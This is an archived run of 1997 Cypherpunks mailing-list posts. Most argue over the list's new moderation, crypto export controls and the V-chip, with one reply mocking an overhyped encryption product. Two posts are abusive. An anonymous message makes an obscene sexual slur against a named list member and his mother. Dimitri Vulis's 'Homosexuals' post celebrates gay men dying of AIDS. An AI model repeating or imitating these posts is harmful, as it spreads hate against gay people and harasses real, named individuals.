Message-ID: <qeo11D5w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


drose@azstarnet.com writes:

> William H. Geiger III wrote:
>
> >I have noticed that there has not been any post from Dimitri in a couple of
> >days.
>
> Yup. Ditto Tim May.  Fair trade?

No.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Bill Campbell" <wcampbel@peganet.com>
Date: Thu, 23 Jan 1997 19:52:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Commerce Sec. Hearings and Encryption
Message-ID: <199701240344.WAA22520@mercury.peganet.com>
MIME-Version: 1.0
Content-Type: text/plain


toto@sk.sympatico.ca wrote:
> Bill Campbell wrote:
> > 
> > I have been watching the confirmation hearings for William Daley,
> > and I was amazed at the number of references in the questioning
> > to encryption. I have been watching confirmation hearings for a long
> > time and have never noticed this much attention being placed on such
> > a (formerly?) obscure topic.
> 
>   It certainly looks like someone is gearing up for a battle in regard
> to cryto.
>   I find it very interesting that there would be a grand battle over
> 'exporting' what is already freely available overseas (and always
> will be, despite the export laws).

  This "freely available overseas" concept is a bit overstated.
France and other countries are beginning to come down hard
on encryption. (Also note the post from the guy in New
Zealand on the hassles exporting from his country.) The 
US now has a "Crypto Ambassador" roaming the world,
and I *don't* think he is encouraging an open common
encryption standard.

> I suppose that a cynic might
> be led to believe that perhaps the anti-export champions' agenda
> might be to make more convenient for the average joe to just
> give in and accept weak, government approved crypto.

  Cynic or realist, you make the call. <G> The average Joe
doesn't even know *why* he needs encryption...at least
not yet.

=Bill=




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Thu, 23 Jan 1997 23:13:38 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: Airport security [no such thing]
In-Reply-To: <199701240432.WAA08250@manifold.algebra.com>
Message-ID: <Pine.SUN.3.91.970123224150.21553O-100000@crl4.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Thu, 23 Jan 1997 ichudov@algebra.com wrote:

> Is it really true that my response was tossed out as flames?

a) NO posts have been "tossed out."  Your response was sorted
   into the "flames" list--not because it flamed directly, but
   because it was part of the threat started by Dimitri in which
   he engaged in flaming.  

b) While I realize this is a judgment call that others might 
   dispute, I don't think it makes much sense to post to the 
   moderated list only the parts of threads that are not flamish.  
   I would rather keep thread intact on one list or the other.  
   There are exceptions.  I put one of Dimitri's post on this 
   thread into the moderated list because the point he made did
   not require particular knowledge of the entire thread and had 
   non-inflamatory relevance.

> It was crypto-relevant.

Perhaps, but crypto-relevance is NOT the criterion by which I am
moderating the list.  I am sort on the basis of (a) emotional,
non-relevant personal attacks on list members, and (b) spam.  
I believe (and so far the postings have borne me out) that in an
atmosphere of civil, reasoned discourse, the relevance issue will
largely take care of itself.

By the way, contrary to what Dimitri has alleged, I have posted
every message from him in which he was able to restrain himself
with regard to gratuitous insults and/or spam.  In other words, 
the set of Dimitri posts that have appeared on the moderated list
is not the null set.

By the way number two, this response will be posted to the flames
list and NOT the moderated list.  Even though I have not flamed
anyone, two things keep it off the moderated list:  (1) my policy
about keeping thread on the same list where possible (see above),
and (2) basic precepts of fairness.  Though Dimitri has stated--
without a scintilla of evidence--that my moderation policy would
be used to attack him and not give him the opportunity or forum
to defend himself, I am keeping ALL personal attacks off the 
moderated list.  Those who are subscribed to the "flam" postings
can see numerous unkind posts about Dimitri that I have not 
allowed on the moderated list.  That policy applies to me just 
as much as to anyone else.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Thu, 23 Jan 1997 20:25:48 -0800 (PST)
To: abostick@netcom.com
Subject: Re: THE NEW YORKER on the V-Chip
Message-ID: <01IEKJ7UWBPC9AMSTU@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"abostick@netcom.com"  "Alan Bostick" 23-JAN-1997 23:09:54.72

>In the Jan. 20, 1997, issue of THE NEW YORKER, the "Comment", written by
>Malcolm Gladwell, makes a powerful arguement about the unintended
>consequences of the V-Chip, the programmable device to be included in
>next-generation television sets sold in the US that supposedly will
>allow parents to control their children's access to sex and violence on
>TV.

>Gladwell makes an analogy between V-Chipped TV content and
>air-conditioned cars in the New York City subway system in summertime:
>" . . . we need air-conditioners on subway cars because air-conditioners
>on subway cars have made stations so hot that subway cars need to be
>air-conditioned."  Similarly, he argues, "the V-chip is likely to
>increase the amount of sex and violence on television, not decrease it"
>because when viewers can block offensive programming, there is far less
>pressure on broadcasters and cable operators to avoid offending.

	Personally, I'd view this as a positive development. The puritanical
types will be busily still protesting it, but without so many parents who
(falsely) believe their children will be harmed by exposure to sex, thus
dividing their efforts. Normally one would think that advertisers et al might
give in to a small number... but advertisers particularly suceptible to this
won't be sponsoring anything but G-rated shows anyway. (Of course, I view
the V-chip itself as a bad thing, but if it has an outcome opposite in at
least _some_ ways to the one intended by the neo-puritans, I can see the
silver lining.)

>And, for the benefit of those people who don't think the V-Chip isn't in
>itself on-topic for cypherpunks, I might point out that Gladwell's
>argument applies equally well to mail filtering with procmail recipes --
>or Sandy's and John's list moderation experiment.  If the noise level on
>the unmoderated list jumps to even higher than we were seeing before
>the moderation began, that would provide observational support to
>Gladwell's argument.

	An interesting question... although I'd point out that the degree of
social pressure against spamming et al appears to be ineffective. The herd-like
public (referring to the parents with their foolish fears and anyone else
brainwashed into believing the puritans/fundamentalists) can put pressure on
with their buying patterns... as yet such a market system is lacking in mailing
lists (except for putting people on filter lists, which probably exacerbates
the problem). In other words, there is no particular reason for the spammers et
al to desist even if people _are_ receiving their email.
	-Allen




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: satan_is_a_hacker@juno.com (fuck you)
Date: Thu, 23 Jan 1997 20:47:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <19970123.234607.13718.0.SATAN_is_a_HACKER@juno.com>
MIME-Version: 1.0
Content-Type: text/plain


If anyone has any text files on the following topics please send them. I
have many files if any one else needs them.

PGP
Making decryption tools
Anarchy
Satan
Anything underground




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@zifi.genetics.utah.edu (Anonymous)
Date: Thu, 23 Jan 1997 23:19:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [ADMINISTRATIVIUM] Degausser
Message-ID: <199701240719.AAA18312@zifi.genetics.utah.edu>
MIME-Version: 1.0
Content-Type: text/plain


When Timmy `C' May's mother gave birth to him after fucking with a bunch of 
sailors, she didn't know who the father was but decided to tell him that he was a 
Russian as the Russian sailor was the one who satisfied her the most.

 
  /~~~\
 {-O^O-} Timmy `C' May
  \ o /
   (-)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Fri, 24 Jan 1997 00:44:16 -0800 (PST)
To: Alan Bostick <abostick@netcom.com>
Subject: Re: THE NEW YORKER on the V-Chip
Message-ID: <3.0.32.19970124004457.006b77b8@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:57 PM 1/23/97 -0800, Alan Bostick wrote:

>In the Jan. 20, 1997, issue of THE NEW YORKER, the "Comment", written by
>Malcolm Gladwell, makes a powerful arguement about the unintended
>consequences of the V-Chip, the programmable device to be included in
>next-generation television sets sold in the US that supposedly will
>allow parents to control their children's access to sex and violence on
>TV.

While I think it's always useful to consider unintended (or otherwise
unexpected) consequences, Gladwell's argument sent a shiver down my spine
with its shameless paternalism. This bit (from roughly the middle of his
piece) is what I found creepiest:

"According to one recent study, somewhere between twenty and twenty-seven
per cent of the parents of four-to six-year-olds never restrict their
children's viewing hours, never decide what programs they can watch, never
change the channel when something objectionable comes on, and never forbid
the watching of certain programs. It has apparently never occurred to these
parents that television can be a bad influence, and it strains credulity to
think that the advent of the V-chip is going to wake them up. Yet their
families - mainly lower-income, ill-educated - are the very ones most in
need of protection from television violence. Here is a rearranging effect
with a vengeance: not only does the V-chip make television worse, it makes
television worse precisely for those already most vulnerable to its excesses."

I understood Gladwell's point to be, in essence, that the V-chip will allow
TV producers to generate higher levels of morally impure content which he
fears will pollute the minds of poor children because their parents are too
stupid to protect them from the harmful content and too poor to buy new
televisions which will include V-chips.

While I think 95% of broadcast TV is crap which isn't worth the time
expended watching it, even reading arguments like "poor people should be
protected from harmful ideas they're too stupid (or too poorly educated) to
avoid and too poor to purchase protection from" makes me feel dirty. I
don't think Gladwell is, in any meaningful way, an opponent of government
control of speech/expression - he's just an opponent of inefficient or
optional forms of government control of speech/expression.  He's a
reasonable writer, but he's chosen to use his powers for evil instead of
for good. (Some of his work is available on the web; apparently he once
worked as a reporter for the Washington Post and is now on the staff of the
New Yorker.)


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 24 Jan 1997 00:11:13 -0800 (PST)
To: Bill Campbell <wcampbel@peganet.com>
Subject: Re: Commerce Sec. Hearings and Encryption
In-Reply-To: <199701240344.WAA22520@mercury.peganet.com>
Message-ID: <32E88046.427C@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Bill Campbell wrote:
> 
> toto@sk.sympatico.ca wrote:
> > Bill Campbell wrote:
>   This "freely available overseas" concept is a bit overstated.
> France and other countries are beginning to come down hard
> on encryption.

  True. Perhaps I should have said "freely available, but it might
cost you more than you expect."
 
>   Cynic or realist, you make the call. <G> The average Joe
> doesn't even know *why* he needs encryption...at least
> not yet.

  The average joe is quickly becoming aware of the issue of data
security (and therefore being exposed to the 'concept' of 
encryption as something that will impact his life). Of course,
this is coming about as a result of commercial pressures to make
him feel safe about handing over his Visa number, etc.
  To me, this indicates that this is the opportune time to inject
a deeper level of understanding into the issue of crypto, at a
time when the average joe has his attention directed toward the
crypto arena.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 23 Jan 1997 23:37:58 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: Rejection policy of the Cypherpunks maiing list
Message-ID: <199701240733.BAA10190@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


I would like to start a thread to discuss the moderation and rejection 
policy.

My perfectly crypto-relevant article regarding possible attacks
on human relationships with the use of forged mail and anonymous
remailers, has been tossed out (sorted) into cypherpunks-flames 
mailing list.

You can receive a copy of my article by an email request.

The explanation that Sandy Sandfort gave me mentioned that he rejected
my message because it continued a thread where Sandy noticed instances
of "flaming". Note that my message was free of any flames, including
its quoted part.

Sandy also states rather plainly that crypto-relevance is not the
criterion by which he moderates this list. I question this policy.

I would like to hear your opinions as to whether such policies satisfy
the current readership.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 24 Jan 1997 00:11:19 -0800 (PST)
To: Jim Choate <ravage@einstein.ssz.com>
Subject: Re: Fighting the cybercensor. (fwd)
In-Reply-To: <199701240138.TAA10898@einstein>
Message-ID: <32E8846B.3E52@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate wrote:

> Typical modern American attitude, getting it right is too much work so let's
> lower the benchmark so anyone can be 'right'.

  Are you referring to the CypherPunks 'censored' list?

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 24 Jan 1997 00:11:31 -0800 (PST)
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: No Dimitri??
In-Reply-To: <199701231237.MAA10676@mailhub.amaranth.com>
Message-ID: <32E8875D.5392@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


William H. Geiger III wrote:
> I have noticed that there has not been any post from Dimitri in a couple of
> days.
> 
> I am assuming that this means that the list moderation has now started?

  Yes. No postings from John Gilmore on the cypherpunks-censored list
either, lately.
  I guess Sandy's not putting up with his crap anymore, as well.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 24 Jan 1997 00:13:11 -0800 (PST)
To: Alan Bostick <abostick@netcom.com>
Subject: Re: THE NEW YORKER on the V-Chip
In-Reply-To: <BkA6y8m9LESK085yn@netcom.com>
Message-ID: <32E8884C.44B9@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Alan Bostick wrote:

> And, for the benefit of those people who don't think the V-Chip isn't in
> itself on-topic for cypherpunks, I might point out...

Alan,
  Good idea to 'explain' yourself, in case 'they' are watching. One can
never be too careful when the crypto-censors are lurking in the
background.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 24 Jan 1997 00:11:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: THE NEW YORKER on the V-Chip
In-Reply-To: <01IEKJ7UWBPC9AMSTU@mbcl.rutgers.edu>
Message-ID: <32E88A09.18BA@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


> From:   IN%"abostick@netcom.com"  "Alan Bostick" 23-JAN-1997 23:09:54.72
> 
> >In the Jan. 20, 1997, issue of THE NEW YORKER, the "Comment", written by
> >Malcolm Gladwell, makes a powerful arguement about the unintended
> >consequences of the V-Chip

  I noticed that when my nephews buy video games, the first ones they
check out are the ones plastered with the 'protective' ratings-symbols
that proclaim that the game is the 'baddest of the bad' in terms of
violence, etc.
  Thanks to the violence-rating system, they no longer have to waste
time checking out 'dweeb' programs that contain absolutely no blood
and gore.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 24 Jan 1997 03:07:59 -0800 (PST)
To: Krenn <krenn@nym.alias.net>
Subject: Re: If you were unable to download UDCM V2.0 before...
In-Reply-To: <19970124083945.20833.qmail@anon.lcs.mit.edu>
Message-ID: <32E898A2.6EE6@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Krenn wrote:
 
> Oh most certainly! I'm gonna run out and implement EVERYTHING in UDCM!!
> Thanks man!!

  Yours is the post these guys have been waiting for. All of those other
CypherPunks just 'flamed' them  by asking technical questions about 
their products.
  Who knows, they may make you their marketing manager.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 24 Jan 1997 03:08:00 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: Rejection policy of the Cypherpunks maiing list
In-Reply-To: <199701240733.BAA10190@manifold.algebra.com>
Message-ID: <32E8B499.27B5@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> 
> My perfectly crypto-relevant article regarding possible attacks
> on human relationships with the use of forged mail and anonymous
> remailers, has been tossed out (sorted) into cypherpunks-flames
> mailing list.

  I have noticed that the 'sorting' of messages seems to be based
as much on personality as upon content. 
 
> The explanation that Sandy Sandfort gave me mentioned that he rejected
> my message because it continued a thread where Sandy noticed instances
> of "flaming". Note that my message was free of any flames, including
> its quoted part.

  The standard of what constitutes a 'flame' seems to rest very much
upon whom a comment is directed at, or merely 'vaguely toward'.  
There have been more than a few postings stronly lambasting various
generic grouping of individuals which have passed without censoring.
  Your post, however, included Dr. Dimitri's vague reference to
a homosexual 'elite'. While it was directed toward no one in 
particular, I suppose one could 'infer', from his past postings,
that it referred to certain individuals, or a group of individuals.
  So it would seem that, in quoting the posts of others, one must
take into consideration what various readers may infer from their
previous posts.

> Sandy also states rather plainly that crypto-relevance is not the
> criterion by which he moderates this list.

  This was more than obvious to anyone who cared to cast an objective
eye on the process, but their input was pooh-paah'd by the 'washed 
masses'.

> I would like to hear your opinions as to whether such policies satisfy
> the current readership.

  Like all of the 'opinions' that were expressed prior to the censorship
of the list? I haven't seen any indication that these opinions were 
given the slightest consideration.  This is not the readership's list.
It is a private individual's list.

  My view of Sandy's moderation is that it is rather willy-nilly, and
not done particularly objectively. There have been personal insults 
directed toward various individuals, including myself, which seem 
not to have been considered 'flames', while there are more than a few 
posts which, even on the closest of inspection, I can see no reason 
for dumping the the 'flame-crapper', other than the fact that they 
are somewhat associated to the 'unclean' list members.
  The moderation, at best, seems to encourage 'snide' commentary
meant to be ill-disguised cheap-shots. I would much rather have 
list members taking strong, clean shots at their 'targets', than
to be subjected to two-faced people talking out of the side of
their mouths.

  In short, I don't see the moderation as being 'fair', and I don't
think it was ever meant to be.
  I don't have a problem with this, since it's a private list, and, 
as far as I am concerned, the list-owner can censor it, or have it
censored, any way he or she sees fit.
  I would like to point out, however, that anyone who has had their
posts 'sorted' into the 'flames list' is now a 'known flamer', as
evidenced by the fact that their post has been designated a 'flame'
on a list run by a champion of free speech on the electronic
frontier.
  It is obvious that some of the more intuitively intelligent list
members are aware of this, as is indicated by the nervous fear with
which they 'explain why' their post is crypto-relevant.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 24 Jan 1997 02:42:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Airport security [no such thing]
In-Reply-To: <199701240655.WAA12732@toad.com>
Message-ID: <Lg711D10w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com writes:

> Dr.Dimitry Vulius K.O.T.M. wrote:
> > Dale Thorn <dthorn@gte.net> writes:
> >
> > > Igor Chudov @ home wrote:
> > > > Dr.D. Vulius K.O.T.M. wrote:
> > > > > Nurdane Oksas <oksas@asimov.montclair.edu> writes:
> > >
> > > > But think about this: suppose there is a couple, bob@household.com,
> > > > and alice@household.com. Suppose that Rev. Mallory does not like bob.
> > > > Mallory forges a lot of emails like "I can still taste your sperm
> > > > on my lips", that appear to originate from Cindy@phonesex.org.
> > > > Then, promptly, Mallory sends an anonymous alert to alice@household.com
> > > > warning her about naughty email activities of bob. Alice gets mad at hi
> > > > and divorces him.
> > > > How would bob protect himself against such developments?
> > >
> > > Frame-ups are as old as time.  The ones that work the best are those
> > > that are the most believable.  O.J., for example.  Unless Alice is
> > > unusually flaky or paranoid, she'll consider her options against the
> > > time she has invested in Bob.
> >
> > Here's an interesting twist of Sandfort's moderation policy.
> >
> > My article was crypto-relevant and flame-free and was tossed to
> > cypherpunks-flames.
> >
> > Igor's response to my article was also crypto-relevant and flame-free
> > and was tossed to cypherpunks-flames.
> >
> > Dale's response did not quote me, so it made it to the censored list.
>
> Is it really true that my response was tossed out as flames?

Yes.

> It was crypto-relevant.

So was my original article. They did not contain any flames or
personal attacks, contrary to what Sandy claims.

> BTW, this is a more than perfect illustration why rejections
> based on "shitstrings" are completely inappropriate for moderating.
>
> I have nothing again "grey lists", when moderators are alerted when a
> message containing certain suspicious word arrives (the way it's done in
> STUMP), but am opposed to autorejections (unless mods are mailbombed).

It's ironic that Igor's article which I'm quoting ALSO got tossed into
cypherpunks-flames, even though it wasn't a flame.

Apparently the only comments on moderation that Sandy passes to the
censored list are the ones praising him.  This way he'll be able to
report unanymous support for his moderation policies.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 24 Jan 1997 02:40:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Rejection policy of the Cypherpunks maiing list
In-Reply-To: <199701240733.BAA10190@manifold.algebra.com>
Message-ID: <4N711D11w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:

> I would like to start a thread to discuss the moderation and rejection
> policy.

I predict that Sandy won't allow any posts on the censored list that
question his moderation poilicy - only the unanymous praises.

> My perfectly crypto-relevant article regarding possible attacks
> on human relationships with the use of forged mail and anonymous
> remailers, has been tossed out (sorted) into cypherpunks-flames
> mailing list.

A dishonorable act.

> You can receive a copy of my article by an email request.

Perhaps you want to start putting up rejected articles on a Web page?

> The explanation that Sandy Sandfort gave me mentioned that he rejected
> my message because it continued a thread where Sandy noticed instances
> of "flaming". Note that my message was free of any flames, including
> its quoted part.

That's correct.

> Sandy also states rather plainly that crypto-relevance is not the
> criterion by which he moderates this list. I question this policy.

Sandy's personal likes and dislikes of certain posters are the criterion.

> I would like to hear your opinions as to whether such policies satisfy
> the current readership.

You won't be allowed to on this censored mailing list.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Fri, 24 Jan 1997 07:11:49 -0800 (PST)
To: "Attila T. Hun" <attila@primenet.com>
Subject: Re: seeds of our own destruction
In-Reply-To: <199701240950.CAA01462@infowest.com>
Message-ID: <32E8D0C7.368B@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Attila T. Hun wrote:
>    at 01:13 AM, Kevin Stephenson <cts@deltanet.com> said:
> +You wrote some very interesting articles. It is the UN.
>     if you want a real scare, read the UN "world constitution" on
>     human rights and privacy --their idea of a Bill of Rights.  It just
>     happens that it is virtually word for word equivalent to the
>     mainland Chinese "rights"  -in other words: rights as long as they
>     are consistent with the aims of the state (UN) and the security
>     needs of the state at the given moment.
[snip]
> +Read Revelations (if you haven't).
>     the best general reference on symbology, at least of what I
>     have seen so far:  Opening the Seven Seals (The Visions of John the Revelator)
>     Richard D. Draper, Desert Books, Salt Lake City, ISBN 087579-547-1, SKU 2142298

Wendy Wallace (I think) has written something about the 4 horsemen of
the Apocalypse, and they've been running excerpts in Paranoia magazine.
I really like Paranoia mag, check it out.

If you like heavy-duty scary symbology writing (can't vouch for the
exact content), check out Texe Marrs who has a recent book on the
subject (can't remember the title, but pictures of the symbols on
the cover, in paperback).





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 24 Jan 1997 04:30:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: No Dimitri??
In-Reply-To: <199701240641.WAA12137@toad.com>
Message-ID: <qRB21D13w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com> writes:

> "William H. Geiger III" <whgiii@amaranth.com> writes:
>
> > I have noticed that there has not been any post from Dimitri in a couple of
> > days.
> >
> > I am assuming that this means that the list moderation has now started?
>
> Yes - anything I say is junked irrespective of content.

I see that Moderator Sandfort has allowed this article through (to prove
me wrong) but has tossed all my other articles into cypherpunks-flames.
Most of them were crypto-relevant, on-topic, and contained no flames.

I bet he's going to toss this one too.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 24 Jan 1997 04:30:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Homosexuals
In-Reply-To: <199701240712.XAA13326@toad.com>
Message-ID: <eZB21D14w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


fuck you <satan_is_a_hacker@juno.com> writes in the censored list:

> If anyone has any text files on the following topics please send them.
...
> Anything underground

Anything?  My good friend TRRCJ3 reports from San Francisco that the
city is much nicer now that so many homosexuals are 6 feet under.

Thank God for AIDS.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: privsoft@ix.netcom.com (Steven M Orrin)
Date: Fri, 24 Jan 1997 08:18:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: 2 Questions
Message-ID: <199701241618.IAA07543@dfw-ix5.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Hey guys,
2 quick questions:

Are there any known hacks or weaknesses in S/Key?

Has Anyone heard of a new product called SecureWin from Cipher Logics 
Corp. It looks like vaporware but is a little more sophisticated than 
the usual product spams (like IPG, POTP, Encrypt-it, WinKrypt etc.)
[I checked there web page some interesting fuctions, , No software 
available yet and Phone numbers are either busy or not in service, go 
figure]

thanks 

Steveo




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Krenn <krenn@nym.alias.net>
Date: Fri, 24 Jan 1997 00:39:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: If you were unable to download UDCM V2.0 before...
Message-ID: <19970124083945.20833.qmail@anon.lcs.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

> {If you were unable to download UDCM V2.0 before, we're extremely sorry.}
> {UDCM's web site may have been under construction during the time you
> visited.}
> {UDCM's web site has finished undergoing its changes and will operate
> correctly.}
> {UDCM V2.0 has been extensively modified from its previous variation.}
> {Digital signaturing and public key cryptosystem capabilities have been
> added.}
> {UDCM's DS and PKCS techniques do NOT make use of conventional PN factoring.}
> {UDCM's source code is currently unavailable. PLEASE DO NOT REQUEST IT.}
> {UDCM's on-line help documentation has also been extensively modified.}
> {This advertisement has also been modified.}

Well halellujah.


> Greetings! I am Jeremy K. Yu-Ramos, president of DataET Research, Data
> Engineering Technologies. I am sending you this message to let you know that
> DataET Research has recently initiated the distribution of UDCM, Universal
> Data Cryptography Module. UDCM implements a revolutionarily new, extremely
> advanced and sophisticated, digital data encryption algorithm named IMDMP,
> Integrated Mathematical Data Manipulation and Positioning.
> 
> UDCM (the IMDMP algorithm)...

OH! OF COURSE! IMDMP! COOL!!

> 
> o Is a royalty-free Windows DLL module featuring advanced cryptography.
> o Contains more than 150 procedures and functions.

WOW!! 150!!!

> o Is a very cost-effective size of only 60 kilobytes.
> o Implements the IMDMP encryption algorithm.

Of course, who doesn't?!

> o Allows encryption keys as large as 2048 bits.
> o Includes 18 sub-algorithms.

18?! HOLY COW!!

> o Processes all forms of binary and ASCII files.

What a breakthrough! Astounding!!

> o Allows multiple encryption layer levels.
> o Has absolutely no back-doors or magical keys.

Of course not, it's IMDMP!!

> o Includes time and date locking features. 
> o Includes file specific unique encryption features.

Specific unique encryption features!! NO WAY!! COOL!!!

> o Includes file authentication guard features.
> o Includes digital signaturing capabilities.
> o Implements the public key cryptosystem method of security.

Of course, everyone knows the public key cryptosystem method is the
best! Excellent!

> o Includes data importance and sensitivity stamping features.
> 
> UDCM, being a Windows DLL module, can be accessed through programs developed
> with popular application and database programming languages and environments
> such as: C, C++, Visual Basic, PowerBuilder, Delphi, OOP Pascal, Turbo
> Pascal, dBase, Paradox, Access, Sybase, Oracle, etc. 
> 
> DataET Research has released a shareware version of UDCM named UDCM V2.0.

Hey, v2.0, neat name, where'd you come up with it?!

> 
> To download UDCM V2.0 for free, please go to:
> http://members.aol.com/dataetrsch/udcm.html.

AOL!! Oh YES! Cool!

> 
> I hope you will consider applying UDCM in the software you develop. Thank-you
> very much for your time.

Oh most certainly! I'm gonna run out and implement EVERYTHING in UDCM!!
Thanks man!!

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: CV Communications <response@quantcom.com>
Date: Fri, 24 Jan 1997 06:13:04 -0800 (PST)
To: "cwozniak@aol.com>
Subject: ATTENTION HOMEOWNER
Message-ID: <199701241354.IAA12840@glenn.cvcom.net>
MIME-Version: 1.0
Content-Type: text/plain


The following message has been brought to you by Quantum Communications.
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mullen, Patrick" <MullenP@ndhm06.ndhm.gtegsc.com>
Date: Fri, 24 Jan 1997 05:57:30 -0800 (PST)
To: "'DataETRsch@aol.com>
Subject: RE: If you were unable to download UDCM V2.0 before....
Message-ID: <c=US%a=_%p=GTE%l=NDHM06-970124135704Z-70285@ndhm06.ndhm.gtegsc.com>
MIME-Version: 1.0
Content-Type: text/plain


>From: 	DataETRsch@aol.com[SMTP:DataETRsch@aol.com]

>o Includes time and date locking features. 

How do you implement this feature?  Where is the time/date information
stored?  Is this in that header you were talking about before?  Is there
some method which is designed to thwart simply changing the CMOS 
time?

Thanks!

~ Patrick


>----------
>From: 	DataETRsch@aol.com[SMTP:DataETRsch@aol.com]
>Sent: 	Thursday, January 23, 1997 9:35 PM
>To: 	cypherpunks@toad.com
>Subject: 	If you were unable to download UDCM V2.0 before....
>
>{If you were unable to download UDCM V2.0 before, we're extremely sorry.}
>{UDCM's web site may have been under construction during the time you
>visited.}
>{UDCM's web site has finished undergoing its changes and will operate
>correctly.}
>{UDCM V2.0 has been extensively modified from its previous variation.}
>{Digital signaturing and public key cryptosystem capabilities have been
>added.}
>{UDCM's DS and PKCS techniques do NOT make use of conventional PN factoring.}
